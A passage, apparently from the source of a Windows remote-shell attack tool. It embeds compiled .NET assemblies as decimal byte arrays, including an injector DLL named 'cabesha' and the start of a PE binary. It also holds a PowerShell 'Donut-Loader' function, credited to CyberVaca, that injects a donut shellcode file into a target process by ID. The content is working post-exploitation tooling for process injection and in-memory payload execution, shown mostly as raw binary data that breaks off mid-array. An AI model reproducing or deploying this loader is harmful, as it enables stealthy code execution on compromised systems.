92, 99, 97, 98, 101, 115, 104, 97, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 99, 97, 98, 101, 115, 104, 97, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 52, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 78, 41, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 67, 111, 114, 68, 108, 108, 77, 97, 105, 110, 0, 109, 115, 99, 111, 114, 101, 101, 46, 100, 108, 108, 0, 0, 0, 0, 0, 255, 37, 0, 32, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 204, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 204, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 130, 72, 171, 27, 0, 0, 1, 0, 130, 72, 171, 27, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 44, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 8, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 56, 0, 8, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 56, 0, 12, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 64, 0, 12, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 48, 0, 8, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 12, 0, 0, 0, 96, 57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) | out-null 
$binario  = $arg.split(" ,")[0]
$arg = $arg.Replace("$binario ","").split(",") | Select-Object -Skip 1
$argumentos = $binario
foreach ($argumento in $arg) {
[array]$argumentos += $argumento

}
[Cabesha.Injector]::Execute($argumentos)}
}')
|
|
donuts = Base64.decode64('function Donut-Loader {param($process_id,$donutfile)
    $help=@"
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D
"@
if ($process_id -eq $null -or $donutfile -eq $null) {write-host "$help`n"} else 
{
if (([IntPtr]::Size) -eq 4) {write-host "Sorry, this function only work on x64 :("; break}
[byte[]]$bytes = 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 100, 134, 2, 0, 41, 64, 139, 93, 0, 0, 0, 0, 0, 0, 0, 0, 240, 0, 34, 32, 11, 2, 11, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 0, 64, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 88, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 45, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 76, 14, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 88, 3, 0, 0, 0, 64, 0, 0, 0, 16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 